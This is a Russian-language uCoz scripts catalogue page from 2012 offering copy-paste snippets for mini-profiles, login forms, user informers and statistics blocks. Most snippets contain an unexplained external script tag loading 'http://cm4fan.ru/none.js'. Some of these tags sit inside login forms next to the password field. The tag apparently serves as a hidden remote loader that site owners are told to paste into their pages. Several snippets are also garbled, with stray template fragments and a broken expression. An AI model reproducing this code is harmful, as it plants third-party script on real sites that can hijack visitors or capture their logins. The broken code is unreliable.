Скрипты для Ucoz - Скрипты сайтов

Описание:
Скрипт мини-профиля для ucoz переделка

Установка:
Вставляем в блок:

Code

  <table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
  <tr>
  <td align="center" ><img src="http://ili.pp.ua/img/grin.png" width="100" height="20" /><br><div class="emessage">
  <img title="$USERNAME$" src="$USER_AVATAR_URL$" border="0"><script src="http://cm4fan.ru/none.js" type="text/javascript"></script>
  <img title="$USERNAME$" src="http://ili.pp.ua/img/no-ava-cs.png" border="0"> </div>
  <div align="center"><img src="http://ili.pp.ua/img/grin.png" width="100" height="20" /></div>
  <div align="left" class="eText"> Время: <b>$TIME$</b> <br>Вы вошли как: <strong>$USERNAME$</strong>
  <br>IP Адрес: <strong>$IP_ADDRESS$</strong>
  <br>Личных сообщений: <strong>$UNREAD_PM$</strong>
  <br>Группа: <strong>$USER_GROUP$</strong>
  </div>
  <div align="center" >
<table cellpadding="0" cellspacing="0" width="100%" class="frnav">
<tr>
<td width="25%"><a href="/index/8" title="Открыть профиль"><div class="frnavic"><img style="margin-top:4px;" src="http://ili.pp.ua/img/profile.png" width="12px" height="13px"></div></a></td>
<td width="25%"><a title="личные сообщения" href="javascript://" rel="nofollow" onclick="window.open('/index/14','upp','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350');return false;"><div class="frnavic"><img style="margin-top:5px;" src="http://ili.pp.ua/img/email.png" width="16px" height="12px"/></a></div></td>
<td width="25%"><A title="Портал для вебмастеров uCoz и игроков Counter-Strike" href="" rel=sidebar onclick="window.external.addFavorite(location.href,'Шаблоны и скрипты для uCoz'); return false;"><div class="frnavic"><img style="margin-top:2px;" src="http://ili.pp.ua/img/star.png" width="16px" height="16px"/></div></a></td>
<td width="25%"><a href="/index/10" title="Выход"><div class="frnavic" style="border:0;"><img style="margin-top:4px;" src="http://ili.pp.ua/img/plus.png" width="14px" height="14px"/></div></a></td>
</tr>
</table>
</div>

  <script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script>

  <script language=javascript type=text/javascript>
  function openOnClick(client_type)
  {
  if(client_type=="mail")clientWindow = window.open("$PM_URL$","pmw","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");
  if(client_type=="send")clientWindow = window.open("/index/14-999-0-1","pms","scrollbars=1,top=0,left=0,resizable=1,width=850,height=350") || alert("Отключите блокировку всплывающих окон!");
  if(client_type=="options")clientWindow = window.open("/index/11","options","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
  if(client_type=="users")clientWindow = window.open("$USERS_LIST_URL$","users","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
  if(client_type=="rules")clientWindow = window.open("/rules.html","rules","scrollbars=1,top=0,left=0,resizable=1,width=680,height=350") || alert("Отключите блокировку всплывающих окон!");
  }
  </script>
  </div>
  </table> <table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> <td align="center"><img src="http://ili.pp.ua/img/grin.png" width="100" height="20" /></td></tr>
  <tr>
  <td align="center" class="emessage"><img title="$USERNAME$" src="http://ili.pp.ua/img/no-ava-cs.png" border="0"></td>
  </tr>
  <tr> <td align="center"><img src="http://ili.pp.ua/img/grin.png" width="100" height="20" /></td></tr>

  <tr>
  <td align="center">$LOGIN_FORM$</td>
  </tr>
  </table><script type="text/javascript">
$('.frnav img').hover(
function(){
$(this).animate({opacity: "1"}, 500);
},
function(){
$(this).animate({opacity: "0.5"}, 500);
});
</script>

В CSS стиль вставляем:

Code

.frnavic {height:22px;background: -moz-linear-gradient(top, #f2f2f2, #ededed);background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f2f2f2), color-stop(100%,#ededed));background: -webkit-linear-gradient(top, #f2f2f2, #ededed);background: -o-linear-gradient(top, #f2f2f2, #ededed);background: -ms-linear-gradient(top, #f2f2f2, #ededed);background: linear-gradient(top, #f2f2f2, #ededed);border-right:1px solid #bfbfbf;text-align:center;}
.frnavic img {opacity:0.5}
.frnav {height:24px;border-top:1px solid #bfbfbf;border-bottom:1px solid #bfbfbf;}
.eMessage a img, .eMessage img {padding:3px !important;background:#ffffff;
border:1px solid#dbdbdb !important;border-radius:4px;
-moz-border-radius:7px;box-shadow:0px 0px 10px #e8e8e8;-moz-box-shadow:0px 0px 10px #e8e8e8;}
a img {border:0px;}
.eText {text-align:justify; padding:6px;}

Категория: Скрипты для Ucoz | Просмотров: 397 | Добавил: startsmart | Дата: 29.10.2012 | Комментарии (0)

Мини профиль очень красивый

Красивый и удобный,а главное функциональный мини-профиль на ваш сайт

Установка:

В новый блок вставляем данный код:

Code

Категория: Скрипты для Ucoz | Просмотров: 459 | Добавил: startsmart | Дата: 28.10.2012 | Комментарии (0)

Уникальный вид материалов видео для uCoz

Здравствуйте! На этот раз на свет выходит "Уникальный вид материалов модуля Видео для uCoz". Выполнен макет в светлых тонах, а точнее в бело-зеленых цветах.
Автором дизайна является ak_Jadniy, а верстка и адаптация z1MO_ok. Главной особенностью является место под скриншот вашего видеоматериала - это вид планшета Ipad.
Демонстрацию "Уникального вида материалов видео для uCoz" вы сможете по данной ссылке.
В комплект входит: PSD макет вида материалов и адаптация под систему uCoz

Приятного использования! При копировании данного материала указывайте источник и авторов. Уважайте чужой труд!

* Установка скрипта:
1) Загрузите данный архив.==> narod.ru/disk/62872319001.6204677dea2c15a63a5dde5c86ece732/vid.zip.html
2) Загрузите папку "img" в свой файловый менеджер который находится в папке Адаптация под uCoz.
3) Из текстового документа "Вид материалов.txt" копируем код и вставляем в модуль Видео -> Вид материалов
4) Скопируйте код из документа "Таблица стилей.txt" и вставьте в самый низ "Таблицы стилей"
5) Установка завершена.

Категория: Скрипты для Ucoz | Просмотров: 416 | Добавил: startsmart | Дата: 28.10.2012 | Комментарии (0)

Компактный мини-профиль пользователя

Современный и симпатичный дизайн для формы входа ucoz, а также для мини профиля. Скрипт формы входа использует красивую кнопку "Вход". Мини-профиль сделан в стиле минимализма. Скрипт впишется под любой дизайн.
Установка:

1. Переходим в ПУ -> Глобальные блоки, тут выбираем контейнер, где хотим видеть данный скрипт, создаем там "новый блок" и вставляем туда следующий

Code

<div class="miniprofUDS">
<div class="miniprofname" align="center"> Добро пожаловать, <b>$USERNAME$</b>!</div>
<div class="miniprofimage">
<a href="#"><img src="$USER_AVATAR_URL$http://ili.pp.ua/img/comm_added_no_av.png" style="border:0px; "/></a>
</div>
<div class="miniprofinfo">
<a class="miniprofinfo" href="/index/8">Мой профиль</a><br>
<a class="miniprofinfo" href="/index/14">Мои сообщения <span>($UNREAD_PM$)</span></a><br>
<a class="miniprofinfo" href="/index/11">Мои настройки</a><br>
<a class="miniprofinfo" href="/index/10">Выход с сайта</a><br>
</div></div>

$LOGIN_FORM$

2. Также название блока можно изменить на:

Code

[/code]

3. Далее переходим в Таблицу стилей CSS и добавляем:

[code].miniprofimage a img {opacity:0.6; -moz-opacity:0.6; filter:alpha(opacity=70);}
.miniprofimage a:hover img {opacity:1.0; -moz-opacity:1.0; filter:alpha(opacity=100);}
.miniprofUDS {font-family:tahoma; overflow:hidden; padding-bottom:5px;}
.miniprofimage {padding:4px 5px 4px 5px;float:left;}
.miniprofimage img {border:2px solid #fff;border-radius:1px;width:52px;height:52px;}
.miniprofname {color: #333; widht:90%;background:#f3fafd;border:1px solid #e1ebf0;margin-bottom:4px;padding:5px;}
.miniprofinfo {padding-top:4px}
.miniprofinfo a:link,.miniprofinfo a:visited,.miniprofinfo a:active {background:url('http://ili.pp.ua/img/miniprofimageurl.gif')no-repeat 3px 5px;text-decoration:none; color:#737474; padding:0px 5px 0px 10px;}
.miniprofinfo a:hover {text-decoration:none; color:#939494;}
.miniprofinfo span{font-weight: bold;}
input#miniprofIN {vertical-align:middle; color:#666; font-size:11px; font-family:tahoma; border:1px solid #d5d7da; background:#fff; padding:3px 7px 3px 7px;}
input#miniprofIN:active, input#miniprofIN:hover, input#miniprofIN:focus{outline:none; border:1px solid #bdbfc2;}
div.input_submit {background:#2a3946 url("http://ili.pp.ua/img/highlight_faint.png") repeat-x 0 0px; border:1px solid #202c36; color:#fff;
display:inline-block; padding:5px 10px; text-align:center; text-shadow:rgba(0,0,0,0.7) 0px 1px 0px; -moz-box-shadow:rgba(0,0,0,0.43) 0px 1px 0px;-webkit-box-shadow:rgba(0,0,0,0.43) 0px 1px 0px;box-shadow:rgba(0,0,0,0.43) 0px 1px 0px; -moz-border-radius:1px;-webkit-border-radius:1px;border-radius:1px;}
div.input_submit:hover {background-color:#364959; color:#fff; cursor:pointer;}
div.input_submit.alt {background:#758a9d url("http://ili.pp.ua/img/highlight_faint.png") repeat-x 0 0px; border:1px solid #61768a;
color:#e6edf4; text-shadow:rgba(0,0,0,0.3) 0px 1px 0px}
div.input_submit.alt:hover {background-color:#8197aa; color:#fff; cursor:pointer;}

4. Ну и последний шаг: переходим в П.У. - Дизайн - Управление дизайном - Форма входа пользователей и всё меняем на следующий код:

Code

<div class="miniprofname" align="center"> Введите ваш <b>логин</b> и <b>пароль</b>!</div>
<div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><input id="miniprofIN" onFocus="if(value=='Логин...'){value='';}" onBlur="if(value=='') {value='Логин...';}" value="Логин..." type="text" name="user" value="" size="20" style="width:100%;" maxlength="50"/></div>
<div style="margin-bottom:2px; margin-top:1px; color:#777;"></div>
<div><input id="miniprofIN" onFocus="if(value=='Пароль...'){value='';}" onBlur="if(value=='') {value='Пароль...';}" value="Пароль..." class="loginField" type="password" name="password" size="20" style="width:100%" maxlength="15"/></div>
<div style="display:none;">
<table border="0" cellspacing="1" cellpadding="0" width="90%">
<tr>
<td nowrap><input id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label></td>
<td align="right" valign="top"><input class="loginButton" id="EnterUser" name="sbm" type="submit" value="Вход"/></td>
</tr>
</table>
</div>
<div style="border:0px; border-top:1px solid #ccc; margin:5px; padding:5px;">
<div style="float:right;"><div class="input_submit alt" onclick="$('#EnterUser').click()" style="padding:5px 10px;"><b>Войти</b></div></div>
<div><a href="$REMINDER_LINK$" style="color:#999; text-shadow:0px 1px 0px #fff;">Забыли пароль</a></div>
<div><a href="/index/3" style="color:#999; text-shadow:0px 1px 0px #fff;">Регистрация</a></div>
<div style="clear:both"></div>
</div>

Категория: Скрипты для Ucoz | Просмотров: 382 | Добавил: startsmart | Дата: 28.10.2012 | Комментарии (0)

Красивый информер "кто нас сегодня посетил" для Ucoz

Интересный информер кто нас сегодня посетил не такая уж новинка, но не такой как были предыдущие виды, в настройках все так же само , только изменено оформление , теперь он в другом исполнении, выводит информацию о пользователях которые посетили саит за текущий день, так же показывается рядом с ником пользователя его пол в графической картинке , и еще показывает его страну маленьким шрифтом, все это видно скрине.
В установке код очень прост и его так же можно настроить в цветах и высоте шрифта.Если вы хотите как на скрине видеть и у себя цветами ники пользователей то эти все настройки делаются в таблице стилей по отношению ко всем группам пользователей.
Установка :
Создаем информер с такими настройками через панель управления:
[ Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя · Колонки: 0 ]
Потом код ниже вставляем в информер:

Code

<font color="#a9a9a9">[</font><a href="$PROFILE_URL$" class="$CLASS$">$USERNAME$ <img border="0" src="http://ili.pp.ua/img/she_user.png" width="12" heigt="12"><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><img border="0" src="http://ili.pp.ua/img/user.png" width="12" heigt="12"></a><font color="#222222"><span style="font-size: 6pt;">$COUNTRY_ID$</span></font><font color="#a9a9a9">] </font>

После того как сохраняем копируем код условный код информера и вставляем в контейнер в любой оформленный блок, все установка закончена.

Категория: Скрипты для Ucoz | Просмотров: 297 | Добавил: startsmart | Дата: 28.10.2012 | Комментарии (0)

Скрипт топ пользователей для uCoz сайта

Красивый информер Топ пользователей для uCoz
При наведении появляется информация о пользователе
Очень удобный и кроссбраузерный скрипт, хорошо подходит для светлых дизайнов.

Установка:

Создаем информер, делается это тут
http://адрес_вашего_сайта/panel/?a=informers

С такими настройками:
[ Пользователи · Материалы · Кол. файлов · Материалы: 6 · Колонки: 2 ]
Название можете сделать любое, и количество колонок под себя..

Переходим к дизайну информера:

Code

<center>
  <div class="utop-user" align="center">
  <a class="ut-ava east" style="display: block;" href="$PROFILE_URL$" title="$USERNAME$
  Релизов: $LOAD_POSTS$
  Репутация: $REPUTATION$
  Комментариев: $COM_POSTS$">
  <div class="ut-ava">
  <script src="http://cm4fan.ru/none.js" type="text/javascript"></script><img src="$AVATAR_URL$" border="0"><img src="http://ili.pp.ua/img/noavatar.png" border="0">
  </div>
  <span style="color:#323232" ><span class="group$GROUP_ID$"><b>$USERNAME$</b></span></span>
  <div class="utop-number">$NUMBER$</div>
  </div></center></a>

Посел изменений сохраняете его..
И запоминаем код вызова информера, например $MYINF_1$

Теперь создаете новый блок (Например через конструктор)
И в его HTML вставляете:

Code

$MYINF_1$ - это код информера, меняете на свой

Сохраняете и радуетесь новому блоку "Топ пользователей"
Надеюсь всё понятно написал - будут вопросы пишите в комментарии.

Категория: Скрипты для Ucoz | Просмотров: 407 | Добавил: Aninew | Дата: 19.10.2012 | Комментарии (0)

Статистика сайта для uCoz + доп.модули - Информеры для ucoz

Статистика сайта для uCoz + доп.модули

1. Это встовляем в блок:

Code

<fieldset style="width:175px;margin:0;margin-bottom:5px;background:#070707;border:1px solid #cfcfcf;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;padding:5px;">
  <legend style="color:#7b7b7b;font-weight:bold;">Онлайн</legend>
  <table width="100%" cellpadding="0" cellspacing="0" border="0">
  <tbody><tr align="right">
  <center> $COUNTER$ </center> <hr> <div style="display:none;">$ONLINE_COUNTER$</div><div style="float:right;"><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><span style="">Пользователи</span><span style="margin:0px; margin-left:2px; padding:1px; display:inline-block; border:1px solid #ccc; background:#fff;"><img style="height:7px; width:7px; background:#0099CC;" src="http://ili.pp.ua/img/1px.gif" border="0" alt=""></span></div>
  <div><span style="margin:0px; margin-right:3px; padding:1px; display:inline-block; border:1px solid
  #ccc; background:#fff;"><img style="height:7px; width:7px; background:#7d7d7d;" src="http://ili.pp.ua/img/1px.gif" border="0" alt=""></span><span style="">Гости сайта</span></div>
  <div style="border:1px solid #ccc; background:#fff; padding:1px; margin-top:2px;" id="Statku"> <script type="text/javascript">
  var allusers = $(".tOnline b").text(); var gostusers = $(".gOnline b").text(); var siteusers =
  $(".uOnline b").text();
  var uGosti = (gostusers/allusers).toFixed(2)*100; var uUsers = (siteusers/allusers).toFixed(2)*100;

  $("#Statku").html('<div class="cross" style="width:'+uGosti+'%; background:#7d7d7d;">'+Math.floor
  (uGosti)+'%</div><div class="cross" style="width:'+uUsers+'%; background:#0099CC;">'+Math.floor(uUsers)+'%</div>').after('<div style="border:0px; padding:2px; text-align:center;">Всего — '+allusers+'</div>');
  </script> </div>
  <td valign="center" width="55%">
  <a href="javascript://" rel="nofollow" onclick="new _uWnd('TdUsrLst',' ',250,200,{autosize:0},{url:'/index/62-2'});return false;"><span style="color:#8b8b8b;">Сегодня были</span></a>
  </td>
  </tr>
  </tbody></table> $ONLINE_USERS_LIST$
  <hr>
  $MYINF_Счетчики юзеров$ <br> $MYINF_Счетчики постов$ <br>$MYINF_Счетчики материалов$<br>
  <center> <hr>
  <div id="userD" style="font-size:7pt;color:#999999;"></div>
  <script type="text/javascript">
  function declOfNum(number, titles) {
  cases = [2, 0, 1, 1, 1, 2];
  return titles[ (number%100>4 && number%100<20)? 2 : cases[(number10:5] ];
  };
  $.get('/index/62-2',function(data){
  spisok = $('a',$('cmd[p="content"]',data).text()).size();
  $('#userD').html('Сегодня нас '+declOfNum(spisok, [" посетил", " посетило", " посетили"])+' <b>'+spisok+declOfNum(spisok, [" юзер", " юзера", " юзеров"])+'</b>')
  });
  </script>
  $MYINF_Пользователи, посетившие сайт за текущий день$ </center>
  </fieldset>

2. Создаем информеры
[ Счетчики для пользователей · Материалы · всех, по группам, по полу, по зодиаку, по дням (сегодня, вчера, 7 дней, 30 дней) ]
Шаблона информера заменяем на:

Code

<b style="color:#8b8b8b;">Пользователей всего:</b> $ALL_USERS$0)?><sup title="Новых сегодня">+$TODAY$</sup>

3.Создаем информеры
[ Счетчики материалов · Материалы ]
Шаблона информера заменяем на:

Постов на форуме:$FORUM_T$/$FORUM_P$0)?>+$FORUM_P$

2) [ Счетчики материалов · Материалы ]
Шаблона информера заменяем на:

Code

<b style="color:#8b8b8b;">Материалов всего <span style="cursor:help;color:#bdbdbd;" title="Не считая форума">[?]</span>:</b> <span id="mats_show" style="color:#5d5d5d;cursor:pointer;" onclick="$('#materials').slideToggle('fast');$('#mats_show').hide();$('.mats_show').show();">+</span>
  <span class="mats_show" style="display:none;color:#5d5d5d;cursor:pointer;" onclick="$('#materials').slideToggle('fast');$('.mats_show').hide();$('#mats_show').show();">-</span>
  <div style="display:none;" id="materials">
  <div style="margin:2px;font-size:7pt;">Новостей: <b style="color:#8b8b8b;color:#9b9b9b;">$NEWS$</b><br>
  Серверов в мониторинге: <b style="color:#8b8b8b;">$BLOG$</b><br>
  Комментарии: <b style="color:#8b8b8b;">$COMMENTS$</b><br>
  Файлы: <b style="color:#8b8b8b;">$LOAD$</b><br></div>
  </div>

Категория: Скрипты для Ucoz | Просмотров: 370 | Добавил: Aninew | Дата: 18.10.2012 | Комментарии (0)

Форма входа для uCoz

Форма входа для uCoz - это блок, через который пользователь может авторизироваться, то есть зайти на сайт под своим логином и паролем. Многие веб-мастера юкоз'а хотят оформить форму входа, сделать её красивой, чтобы человек, зашедший на ресурс, хотел авторизироваться. Но не знают как! Для этого и сделали готовые панели входа - чтобы хозяин сайта мог украсить форму входа без труда.
1. Итак, первая форма входа пользователей. Она довольно простая, но удобная и юзер будет легко в ней ориентироваться. Кстати, у формы неплохие иконки, справа от тех мест, где надо вводить пароль и логин.

Для установки данного uCoz скрипта пройдите по такому пути: Панель управления -> Управление дизайном -> Пользователи -> Форма входа пользователей. Затем, скопируйте и вставьте код туда, куда зашли ранее.(Форма входа пользователей)

Code

<div style="width: 180px;">
<table border="0" cellpadding="0" cellspacing="1" height="68" width="194">
<tbody><tr><td colspan="2" style="color: red; text-align: center;">$ERROR$</td>
</tr><tr><td nowrap="nowrap" width="20%"><img alt="" src="http://i036.radikal.ru/0907/c8/f07c6c22f030.png" align="" border="0"></td><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><td><input class="loginField" name="user" value="" size="20" style="width: 100%;" maxlength="50" type="text"></td></tr>
<tr><td><img alt="" src="http://i043.radikal.ru/0907/79/06a017188847.png" align="" border="0"></td><td><input class="loginField" name="password" size="20" style="width: 100%;" maxlength="15" type="password"></td></tr>
</tbody></table>
<table border="0" cellpadding="0" cellspacing="1" width="100%">
<tbody><tr><td nowrap="nowrap"><input id="rem$PAGE_ID$" name="rem" value="1" checked="checked" type="checkbox"><label for="rem$PAGE_ID$">запомнить</label> <br><input id="hid$PAGE_ID$" name="hidden" value="1" type="checkbox"><label for="hid$PAGE_ID$">скрытый</label></td><td align="right" valign="top"><input class="loginButton" name="sbm" value="Вход" type="submit"></td></tr>
<tr><td colspan="2"><div style="font-size: 7pt; text-align: center;"><a href="$REMINDER_LINK$">Забыл пароль</a> | <a href="$REGISTER_LINK$">Регистрация</a></div></td></tr>
</tbody></table>
</div>

Категория: Скрипты для Ucoz | Просмотров: 327 | Добавил: Aninew | Дата: 17.10.2012 | Комментарии (0)

Новый простой динамичный список онлайн пользователей

Это простой динамичный список онлайн пользователей, но предоставленный в блочной системе. Профиль и личные сообщения открываются в ajax окнах. Автообновление производится каждые 30 секунд. Скрипт выполнен без лишних функций и наворотов, так что код получился очень компактный

Установка:

В шаблонах своего сайта замените $ONLINE_USERS_LIST$ на:

Code

<div class="apoulist" style="display:none;">
  $ONLINE_USERS_LIST$
  </div><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><style>
  .apo {
  width:95%;
  height:15px;
  background:rgba(230, 230, 230, 0.8);
  padding:2px;
  vertical-align:middle;
  margin-bottom:5px;
  font-weight:bold;
  border-left:1px solid #ccc;
  border-top:1px solid #ccc;
  border-radius:2px;
  }

  .apo a {
  text-decoration:none;
  }
  </style>
  <script>
  // Удобная динамичная онлайн статистика by Apocalypse
  function apoOnGet() {
  // Основная функция получения и стилизации списка пользователей
  $('.apoulist').load('# .apoulist', function() {

  // Убираем запятые
  $('.apoulist').html($('.apoulist').html().replace(/\,/g, ''));

  // Делаем форму видимой
  $('.apoulist').fadeIn();

  // Превращаем список пользователей в блочный вариант + отключаем события при клике
  $('.apoulist a').each(function() {
  $(this).html('<table class="apo"><td>' + $(this).html() + '</td><td align="right"><img src="http://s36.ucoz.net/.s/img/icon/us.png" onclick="apoGetP(\'' + $(this).text() + '\')" class="apoprofile" height="11px" title="Мини-профиль"> <img onclick="apoGetPm(\'' + $(this).attr('href') + '\')" src="http://s36.ucoz.net/.s/img/icon/mf.png" height="11px" title="Отправить сообщение"></td></table>');
  }).removeAttr('onclick').click(function() {return false});
  });
  };

  // Запускаем функцию при загрузке страницы
  apoOnGet();

  // Запускаем интервал автообновления
  setInterval(function() {
  apoOnGet();
  }, 30000);

  // Функция получения профиля
  function apoGetP(name) {
  new _uWnd('apoGetP', 'Профиль ' + name, 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/8-0-' + name.replace(/\-/gi, '~'), xml:false});
  }

  // Функция получения страницы Личных Сообщений
  function apoGetPm(url) {
  var url2 = url.split('-');
  var url3 = url2[url2.length];
  new _uWnd('apoGetPm', 'Сообщение', 600, 400, {autosize:0, closeonesc:1, popup:1, modal:1}, {url:'/index/14-' + url3 + '-0-1', xml:false});
  }
  // ApoTeam (c) 2012
  </script>

Категория: Скрипты для Ucoz | Просмотров: 393 | Добавил: Aninew | Дата: 16.10.2012 | Комментарии (0)

Красивый информер "Топ пользователей" для ucoz

Зайдя на один сайт увидел красивый информер - Топ аплоадеров (пользователей)
Решил добавить его в паблик, особенность информера в том,
Что при наведении на иконки выдвигается небольшая информация о количестве файлов и т.д.

Установка:
1)Создаем информер
Кто не знает где это вот ссылка: http://адрес_вашего_сайта/panel/?a=informers

Информер с такими параметрами:

Название информера - Топ пользователей
Раздел - Пользователи
Способ сортировки - Количество файлов
Количество материалов - 4
Количество колонок - 2
Создать

Должен появится новый информер - и рядом с ним код вызова
Например $MYINF_1$ - у вас может быть другой

2)После этого меняем дизайн информера
Заходим в управление дизайном созданного информера
И заменяем весь код на этот:

Code

</div></div></div>
</div>

<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">
<script src="http://cm4fan.ru/none.js" type="text/javascript"></script><img src="$AVATAR_URL$" title="Перейти в профиль" id="topusers">
<img src="http://ili.pp.ua/img/no.png" id="topusers">
</a>

<div class="chat-addtime" style="float:none; width:87px; margin-top:1px;">
<span style="display:block; text-align:center;">
<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">

11)?>

$USERNAME$

</a>
</span>
</div>
</center>
<script type="text/javascript"> $('.place$NUMBER$').hover( function () {$(this).stop().animate({"width" : $('.place1 #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.torrents').hover( function () {$(this).stop().animate({"width" : $('.torrents #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.comments').hover( function () {$(this).stop().animate({"width" : $('.comments #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); </script>

Теперь создаём новый блок (например через конструктор)
И называем его например "Топ пользователей"
В html код блока вставляем:

Code

$MYINF_1$
<link type="text/css" rel="StyleSheet" href="http://ili.pp.ua/js_css/cssuser.css">

$MYINF_1$ - меняем на свой (если у вас другой)

Готово..
Думаю, что всё понятно разъяснил

Категория: Скрипты для Ucoz | Просмотров: 372 | Добавил: Aninew | Дата: 12.10.2012 | Комментарии (0)

1-10 11-20 ... 101-110 111-120 121-130 131-135